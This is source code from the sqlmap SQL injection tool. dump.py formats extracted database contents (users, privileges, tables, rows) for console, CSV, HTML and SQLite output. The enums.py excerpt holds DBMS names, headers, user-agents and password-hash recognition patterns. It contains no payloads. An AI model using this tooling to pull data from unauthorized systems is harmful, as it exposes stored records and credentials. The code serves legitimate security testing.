sqlmap-1.9.6/lib/core/dump.py000066400000000000000000000702571502261744200160570ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import hashlib import os import re import shutil import tempfile import threading from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout from lib.core.common import filterNone from lib.core.common import getSafeExString from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import prioritySortColumns from lib.core.common import randomInt from lib.core.common import safeCSValue from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.compat import xrange from lib.core.convert import getBytes from lib.core.convert import getConsoleLength from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.convert import htmlEscape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import CONTENT_STATUS from lib.core.enums import CONTENT_TYPE from lib.core.enums import DBMS from lib.core.enums import DUMP_FORMAT from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapValueException from lib.core.replication import Replication from lib.core.settings import DUMP_FILE_BUFFER_SIZE from lib.core.settings import HTML_DUMP_CSS_STYLE from lib.core.settings import IS_WIN from lib.core.settings import METADB_SUFFIX from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE from lib.core.settings import TRIM_STDOUT_DUMP_SIZE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT from lib.core.settings import VERSION_STRING from lib.core.settings import WINDOWS_RESERVED_NAMES from lib.utils.safe2bin import safechardecode from thirdparty import six from thirdparty.magic import magic class Dump(object): """ This class defines methods used to parse and output the results of SQL injection actions """ def __init__(self): self._outputFile = None self._outputFP = None self._lock = threading.Lock() def _write(self, data, newline=True, console=True, content_type=None): text = "%s%s" % (data, "\n" if newline else " ") if conf.api: dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE) elif console: dataToStdout(text) if self._outputFP: multiThreadMode = kb.multiThreadMode if multiThreadMode: self._lock.acquire() try: self._outputFP.write(text) except IOError as ex: errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) if multiThreadMode: self._lock.release() kb.dataOutputFlag = True def flush(self): if self._outputFP: try: self._outputFP.flush() except IOError: pass def setOutputFile(self): if conf.noLogging: self._outputFP = None return self._outputFile = os.path.join(conf.outputPath, "log") try: self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") except IOError as ex: errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) def singleString(self, data, content_type=None): self._write(data, content_type=content_type) def string(self, header, data, content_type=None, sort=True): if conf.api: self._write(data, content_type=content_type) if isListLike(data) and len(data) == 1: data = unArrayizeValue(data) if isListLike(data): self.lister(header, data, content_type, sort) elif data is not None: _ = getUnicode(data) if _.endswith("\r\n"): _ = _[:-2] elif _.endswith("\n"): _ = _[:-1] if _.strip(' '): _ = _.strip(' ') if "\n" in _: self._write("%s:\n---\n%s\n---" % (header, _)) else: self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _)) def lister(self, header, elements, content_type=None, sort=True): if elements and sort: try: elements = set(elements) elements = list(elements) elements.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) except: pass if conf.api: self._write(elements, content_type=content_type) if elements: self._write("%s [%d]:" % (header, len(elements))) for element in elements: if isinstance(element, six.string_types): self._write("[*] %s" % element) elif isListLike(element): self._write("[*] " + ", ".join(getUnicode(e) for e in element)) if elements: self._write("") def banner(self, data): self.string("banner", data, content_type=CONTENT_TYPE.BANNER) def currentUser(self, data): self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) def currentDb(self, data): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO): self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) def hostname(self, data): self.string("hostname", data, content_type=CONTENT_TYPE.HOSTNAME) def dba(self, data): self.string("current user is DBA", data, content_type=CONTENT_TYPE.IS_DBA) def users(self, users): self.lister("database management system users", users, content_type=CONTENT_TYPE.USERS) def statements(self, statements): self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS) def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = set() if isinstance(userSettings, (tuple, list, set)): self._areAdmins = userSettings[1] userSettings = userSettings[0] users = [_ for _ in userSettings.keys() if _ is not None] users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) if conf.api: self._write(userSettings, content_type=content_type) if userSettings: self._write("%s:" % header) for user in users: settings = filterNone(userSettings[user]) if isNoneValue(settings): stringSettings = "" else: stringSettings = " [%d]:" % len(settings) if user in self._areAdmins: self._write("[*] %s (administrator)%s" % (user, stringSettings)) else: self._write("[*] %s%s" % (user, stringSettings)) if settings: settings.sort() for setting in settings: self._write(" %s: %s" % (subHeader, setting)) if userSettings: self.singleString("") def dbs(self, dbs): self.lister("available databases", dbs, content_type=CONTENT_TYPE.DBS) def dbTables(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.TABLES) maxlength = 0 for tables in dbTables.values(): for table in tables: if table and isListLike(table): table = table[0] maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table)))) lines = "-" * (int(maxlength) + 2) for db, tables in dbTables.items(): tables = sorted(filter(None, tables)) self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") if len(tables) == 1: self._write("[1 table]") else: self._write("[%d tables]" % len(tables)) self._write("+%s+" % lines) for table in tables: if table and isListLike(table): table = table[0] table = unsafeSQLIdentificatorNaming(table) blank = " " * (maxlength - getConsoleLength(getUnicode(table))) self._write("| %s%s |" % (table, blank)) self._write("+%s+\n" % lines) elif dbTables is None or len(dbTables) == 0: self.singleString("No tables found", content_type=CONTENT_TYPE.TABLES) else: self.string("tables", dbTables, content_type=CONTENT_TYPE.TABLES) def dbTableColumns(self, tableColumns, content_type=None): if isinstance(tableColumns, dict) and len(tableColumns) > 0: if conf.api: self._write(tableColumns, content_type=content_type) for db, tables in tableColumns.items(): if not db: db = "All" for table, columns in tables.items(): maxlength1 = 0 maxlength2 = 0 colType = None colList = list(columns.keys()) colList.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) for column in colList: colType = columns[column] column = unsafeSQLIdentificatorNaming(column) maxlength1 = max(maxlength1, len(column or "")) maxlength2 = max(maxlength2, len(colType or "")) maxlength1 = max(maxlength1, len("COLUMN")) lines1 = "-" * (maxlength1 + 2) if colType is not None: maxlength2 = max(maxlength2, len("TYPE")) lines2 = "-" * (maxlength2 + 2) self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", unsafeSQLIdentificatorNaming(table))) if len(columns) == 1: self._write("[1 column]") else: self._write("[%d columns]" % len(columns)) if colType is not None: self._write("+%s+%s+" % (lines1, lines2)) else: self._write("+%s+" % lines1) blank1 = " " * (maxlength1 - len("COLUMN")) if colType is not None: blank2 = " " * (maxlength2 - len("TYPE")) if colType is not None: self._write("| Column%s | Type%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) else: self._write("| Column%s |" % blank1) self._write("+%s+" % lines1) for column in colList: colType = columns[column] column = unsafeSQLIdentificatorNaming(column) blank1 = " " * (maxlength1 - len(column)) if colType is not None: blank2 = " " * (maxlength2 - len(colType)) self._write("| %s%s | %s%s |" % (column, blank1, colType, blank2)) else: self._write("| %s%s |" % (column, blank1)) if colType is not None: self._write("+%s+%s+\n" % (lines1, lines2)) else: self._write("+%s+\n" % lines1) def dbTablesCount(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.COUNT) maxlength1 = len("Table") maxlength2 = len("Entries") for ctables in dbTables.values(): for tables in ctables.values(): for table in tables: maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table))) for db, counts in dbTables.items(): self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "") lines1 = "-" * (maxlength1 + 2) blank1 = " " * (maxlength1 - len("Table")) lines2 = "-" * (maxlength2 + 2) blank2 = " " * (maxlength2 - len("Entries")) self._write("+%s+%s+" % (lines1, lines2)) self._write("| Table%s | Entries%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) sortedCounts = list(counts.keys()) sortedCounts.sort(reverse=True) for count in sortedCounts: tables = counts[count] if count is None: count = "Unknown" tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) for table in tables: blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table))) blank2 = " " * (maxlength2 - len(str(count))) self._write("| %s%s | %d%s |" % (table, blank1, count, blank2)) self._write("+%s+%s+\n" % (lines1, lines2)) else: logger.error("unable to retrieve the number of entries for any table") def dbTableValues(self, tableValues): replication = None rtable = None dumpFP = None appendToFile = False warnFile = False if tableValues is None: return db = tableValues["__infos__"]["db"] if not db: db = "All" table = tableValues["__infos__"]["table"] if conf.api: self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) try: dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db)) except UnicodeError: try: dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(unsafeSQLIdentificatorNaming(db))) except (UnicodeError, OSError): tempDir = tempfile.mkdtemp(prefix="sqlmapdb") warnMsg = "currently unable to use regular dump directory. " warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warning(warnMsg) dumpDbPath = tempDir if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db))) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) except: warnFile = True _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)) dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8])) if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) except Exception as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapdb") warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (dumpDbPath, getSafeExString(ex)) warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warning(warnMsg) dumpDbPath = tempDir dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) if not checkFile(dumpFileName, False): try: openFile(dumpFileName, "w+b").close() except SqlmapSystemException: raise except: warnFile = True _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table))) if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) else: dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) else: appendToFile = any((conf.limitStart, conf.limitStop)) if not appendToFile: count = 1 while True: candidate = "%s.%d" % (dumpFileName, count) if not checkFile(candidate, False): try: shutil.copyfile(dumpFileName, candidate) except IOError: pass break else: count += 1 dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE) count = int(tableValues["__infos__"]["count"]) separator = str() field = 1 fields = len(tableValues) - 1 columns = prioritySortColumns(list(tableValues.keys())) if conf.col: cols = conf.col.split(',') columns = sorted(columns, key=lambda _: cols.index(_) if _ in cols else 0) for column in columns: if column != "__infos__": info = tableValues[column] lines = "-" * (int(info["length"]) + 2) separator += "+%s" % lines separator += "+" self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", unsafeSQLIdentificatorNaming(table))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] for column in columns: if column != "__infos__": colType = Replication.INTEGER for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue int(value) except ValueError: colType = None break if colType is None: colType = Replication.REAL for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue float(value) except ValueError: colType = None break cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n") dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "\n" % VERSION_STRING) dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n\n\n\n\n\n") if count == 1: self._write("[1 entry]") else: self._write("[%d entries]" % count) self._write(separator) for column in columns: if column != "__infos__": info = tableValues[column] column = unsafeSQLIdentificatorNaming(column) maxlength = int(info["length"]) blank = " " * (maxlength - getConsoleLength(column)) self._write("| %s%s" % (column, blank), newline=False) if not appendToFile: if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace"))) field += 1 if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n\n") self._write("|\n%s" % separator) if conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n" if not appendToFile else "") elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() if count > TRIM_STDOUT_DUMP_SIZE: warnMsg = "console output will be trimmed to " warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE warnMsg += "large table size" logger.warning(warnMsg) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "") for column in columns: if column != "__infos__": info = tableValues[column] if len(info["values"]) <= i: continue if info["values"][i] is None: value = u'' else: value = getUnicode(info["values"][i]) value = DUMP_REPLACEMENTS.get(value, value) values.append(value) maxlength = int(info["length"]) blank = " " * (maxlength - getConsoleLength(value)) self._write("| %s%s" % (value, blank), newline=False, console=console) if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: try: mimetype = getText(magic.from_buffer(value, mime=True)) if any(mimetype.startswith(_) for _ in ("application", "image")): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath) _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) logger.warning(warnMsg) with openFile(filepath, "w+b", None) as f: _ = safechardecode(value, True) f.write(_) except Exception as ex: logger.debug(getSafeExString(ex)) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: rtable.insert(values) except SqlmapValueException: pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n") self._write("|", console=console) self._write("%s\n" % separator) if conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.endTransaction() logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath)) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n
%s
%s
\n\n") else: dataToDumpFile(dumpFP, "\n") dumpFP.close() msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName) if not warnFile: logger.info(msg) else: logger.warning(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): if conf.api: self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) for column in dbColumnsDict.keys(): if colConsider == "1": colConsiderStr = "s LIKE '%s' were" % unsafeSQLIdentificatorNaming(column) else: colConsiderStr = " '%s' was" % unsafeSQLIdentificatorNaming(column) found = {} for db, tblData in dbs.items(): for tbl, colData in tblData.items(): for col, dataType in colData.items(): if column.lower() in col.lower(): if db in found: if tbl in found[db]: found[db][tbl][col] = dataType else: found[db][tbl] = {col: dataType} else: found[db] = {} found[db][tbl] = {col: dataType} continue if found: msg = "column%s found in the " % colConsiderStr msg += "following databases:" self._write(msg) self.dbTableColumns(found) def sqlQuery(self, query, queryRes): self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY) def rFile(self, fileData): self.lister("files saved to", fileData, sort=False, content_type=CONTENT_TYPE.FILE_READ) def registerValue(self, registerData): self.string("Registry key value data", registerData, content_type=CONTENT_TYPE.REG_READ, sort=False) # object to manage how to print the retrieved queries output to # standard output and sessions file dumper = Dump() sqlmap-1.9.6/lib/core/enums.py000066400000000000000000000331771502261744200162410ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ class PRIORITY(object): LOWEST = -100 LOWER = -50 LOW = -10 NORMAL = 0 HIGH = 10 HIGHER = 50 HIGHEST = 100 class SORT_ORDER(object): FIRST = 0 SECOND = 1 THIRD = 2 FOURTH = 3 FIFTH = 4 LAST = 100 # Reference: https://docs.python.org/2/library/logging.html#logging-levels class LOGGING_LEVELS(object): NOTSET = 0 DEBUG = 10 INFO = 20 WARNING = 30 ERROR = 40 CRITICAL = 50 class DBMS(object): ACCESS = "Microsoft Access" DB2 = "IBM DB2" FIREBIRD = "Firebird" MAXDB = "SAP MaxDB" MSSQL = "Microsoft SQL Server" MYSQL = "MySQL" ORACLE = "Oracle" PGSQL = "PostgreSQL" SQLITE = "SQLite" SYBASE = "Sybase" INFORMIX = "Informix" HSQLDB = "HSQLDB" H2 = "H2" MONETDB = "MonetDB" DERBY = "Apache Derby" VERTICA = "Vertica" MCKOI = "Mckoi" PRESTO = "Presto" ALTIBASE = "Altibase" MIMERSQL = "MimerSQL" CLICKHOUSE = "ClickHouse" CRATEDB = "CrateDB" CUBRID = "Cubrid" CACHE = "InterSystems Cache" EXTREMEDB = "eXtremeDB" FRONTBASE = "FrontBase" RAIMA = "Raima Database Manager" VIRTUOSO = "Virtuoso" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" DB2 = "db2" FIREBIRD = "firebird" MAXDB = "maxdb" MSSQL = "mssqlserver" MYSQL = "mysql" ORACLE = "oracle" PGSQL = "postgresql" SQLITE = "sqlite" SYBASE = "sybase" HSQLDB = "hsqldb" H2 = "h2" INFORMIX = "informix" MONETDB = "monetdb" DERBY = "derby" VERTICA = "vertica" MCKOI = "mckoi" PRESTO = "presto" ALTIBASE = "altibase" MIMERSQL = "mimersql" CLICKHOUSE = "clickhouse" CRATEDB = "cratedb" CUBRID = "cubrid" CACHE = "cache" EXTREMEDB = "extremedb" FRONTBASE = "frontbase" RAIMA = "raima" VIRTUOSO = "virtuoso" class FORK(object): MARIADB = "MariaDB" MEMSQL = "MemSQL" PERCONA = "Percona" COCKROACHDB = "CockroachDB" TIDB = "TiDB" REDSHIFT = "Amazon Redshift" GREENPLUM = "Greenplum" DRIZZLE = "Drizzle" IGNITE = "Apache Ignite" AURORA = "Aurora" ENTERPRISEDB = "EnterpriseDB" YELLOWBRICK = "Yellowbrick" IRIS = "Iris" YUGABYTEDB = "YugabyteDB" OPENGAUSS = "OpenGauss" DM8 = "DM8" class CUSTOM_LOGGING(object): PAYLOAD = 9 TRAFFIC_OUT = 8 TRAFFIC_IN = 7 class OS(object): LINUX = "Linux" WINDOWS = "Windows" class PLACE(object): GET = "GET" POST = "POST" URI = "URI" COOKIE = "Cookie" USER_AGENT = "User-Agent" REFERER = "Referer" HOST = "Host" CUSTOM_POST = "(custom) POST" CUSTOM_HEADER = "(custom) HEADER" class POST_HINT(object): SOAP = "SOAP" JSON = "JSON" JSON_LIKE = "JSON-like" MULTIPART = "MULTIPART" XML = "XML (generic)" ARRAY_LIKE = "Array-like" class HTTPMETHOD(object): GET = "GET" POST = "POST" HEAD = "HEAD" PUT = "PUT" DELETE = "DELETE" TRACE = "TRACE" OPTIONS = "OPTIONS" CONNECT = "CONNECT" PATCH = "PATCH" class NULLCONNECTION(object): HEAD = "HEAD" RANGE = "Range" SKIP_READ = "skip-read" class REFLECTIVE_COUNTER(object): MISS = "MISS" HIT = "HIT" class CHARSET_TYPE(object): BINARY = 1 DIGITS = 2 HEXADECIMAL = 3 ALPHA = 4 ALPHANUM = 5 class HEURISTIC_TEST(object): CASTED = 1 NEGATIVE = 2 POSITIVE = 3 class HASH(object): MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z' MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z' MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' ORACLE = r'(?i)\As:[0-9a-f]{60}\Z' ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z' MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z' SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z' SHA224_GENERIC = r'(?i)\A[0-9a-f]{56}\Z' SHA256_GENERIC = r'(?i)\A(0x)?[0-9a-f]{64}\Z' SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z' CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z' APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z' APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z' VBULLETIN = r'\A[0-9a-fA-F]{32}:.{30}\Z' VBULLETIN_OLD = r'\A[0-9a-fA-F]{32}:.{3}\Z' SSHA = r'\A\{SSHA\}[a-zA-Z0-9+/]+={0,2}\Z' SSHA256 = r'\A\{SSHA256\}[a-zA-Z0-9+/]+={0,2}\Z' SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z' DJANGO_MD5 = r'\Amd5\$[^$]+\$[0-9a-f]{32}\Z' DJANGO_SHA1 = r'\Asha1\$[^$]+\$[0-9a-f]{40}\Z' MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z' SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z' SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' SHA512_BASE64 = r'\A[a-zA-Z0-9+/]{86}==\Z' # Reference: http://www.zytrax.com/tech/web/mobile_ids.html class MOBILES(object): BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+") GALAXY = ("Samsung Galaxy S8", "Mozilla/5.0 (Linux; Android 8.0.0; SM-G955U Build/R16NW; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36 Puffin/9.0.0.50263AP") HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)") HTC = ("HTC 10", "Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36") HUAWEI = ("Huawei P8", "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36") IPHONE = ("Apple iPhone 8", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1") LUMIA = ("Microsoft Lumia 950", "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.15063") NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19") NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344") PIXEL = ("Google Pixel", "Mozilla/5.0 (Linux; Android 10; Pixel) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.117 Mobile Safari/537.36") XIAOMI = ("Xiaomi Mi 8 Pro", "Mozilla/5.0 (Linux; Android 9; MI 8 Pro Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.66 Mobile Safari/537.36") class PROXY_TYPE(object): HTTP = "HTTP" HTTPS = "HTTPS" SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" class REGISTRY_OPERATION(object): READ = "read" ADD = "add" DELETE = "delete" class DUMP_FORMAT(object): CSV = "CSV" HTML = "HTML" SQLITE = "SQLITE" class HTTP_HEADER(object): ACCEPT = "Accept" ACCEPT_CHARSET = "Accept-Charset" ACCEPT_ENCODING = "Accept-Encoding" ACCEPT_LANGUAGE = "Accept-Language" AUTHORIZATION = "Authorization" CACHE_CONTROL = "Cache-Control" CONNECTION = "Connection" CONTENT_ENCODING = "Content-Encoding" CONTENT_LENGTH = "Content-Length" CONTENT_RANGE = "Content-Range" CONTENT_TYPE = "Content-Type" COOKIE = "Cookie" EXPIRES = "Expires" HOST = "Host" IF_MODIFIED_SINCE = "If-Modified-Since" IF_NONE_MATCH = "If-None-Match" LAST_MODIFIED = "Last-Modified" LOCATION = "Location" PRAGMA = "Pragma" PROXY_AUTHORIZATION = "Proxy-Authorization" PROXY_CONNECTION = "Proxy-Connection" RANGE = "Range" REFERER = "Referer" REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 SERVER = "Server" SET_COOKIE = "Set-Cookie" TRANSFER_ENCODING = "Transfer-Encoding" URI = "URI" USER_AGENT = "User-Agent" VIA = "Via" X_POWERED_BY = "X-Powered-By" X_DATA_ORIGIN = "X-Data-Origin" class EXPECTED(object): BOOL = "bool" INT = "int" class OPTION_TYPE(object): BOOLEAN = "boolean" INTEGER = "integer" FLOAT = "float" STRING = "string" class HASHDB_KEYS(object): DBMS = "DBMS" DBMS_FORK = "DBMS_FORK" CHECK_WAF_RESULT = "CHECK_WAF_RESULT" CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT" CONF_TMP_PATH = "CONF_TMP_PATH" KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS" KB_BRUTE_COLUMNS = "KB_BRUTE_COLUMNS" KB_BRUTE_TABLES = "KB_BRUTE_TABLES" KB_CHARS = "KB_CHARS" KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS" KB_INJECTIONS = "KB_INJECTIONS" 